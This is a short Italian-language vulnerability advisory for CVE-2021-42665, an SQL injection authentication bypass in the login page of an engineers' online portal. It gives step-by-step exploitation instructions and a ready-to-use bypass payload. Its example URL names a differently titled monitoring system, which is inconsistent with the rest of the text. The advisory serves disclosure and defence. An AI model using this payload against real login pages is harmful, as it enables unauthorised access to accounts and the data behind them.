CVE-2021-42665

CVE-2021-42665 - Vulnerabilità di bypass dell'autenticazione tramite SQL Injection nel sistema del portale online degli ingegneri.

Descrizione tecnica:

Una vulnerabilità di SQL Injection esiste nel modulo di login del Portale Online degli Ingegneri che può permettere a un attaccante di bypassare l'autenticazione.

Componenti interessati -

Pagina vulnerabile - login.php

Parametro vulnerabile - "username", "password"

Passaggi per lo sfruttamento:

1. Navigare su http://localhost/nia_munoz_monitoring_system/login.php
2. Inserire il payload nel campo username o password
3. Fare clic su login

Prova di concetto (PoC) -

Il seguente payload ti permetterà di bypassare il meccanismo di autenticazione del modulo di login del Portale Online degli Ingegneri -

sqli' OR '1'='1';-- -

Riferimenti -

https://www.exploit-db.com/exploits/50452

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42665

https://nvd.nist.gov/vuln/detail/CVE-2021-42665

Scoperto da -

Alon Leviev (0xDeku), 22 ottobre 2021.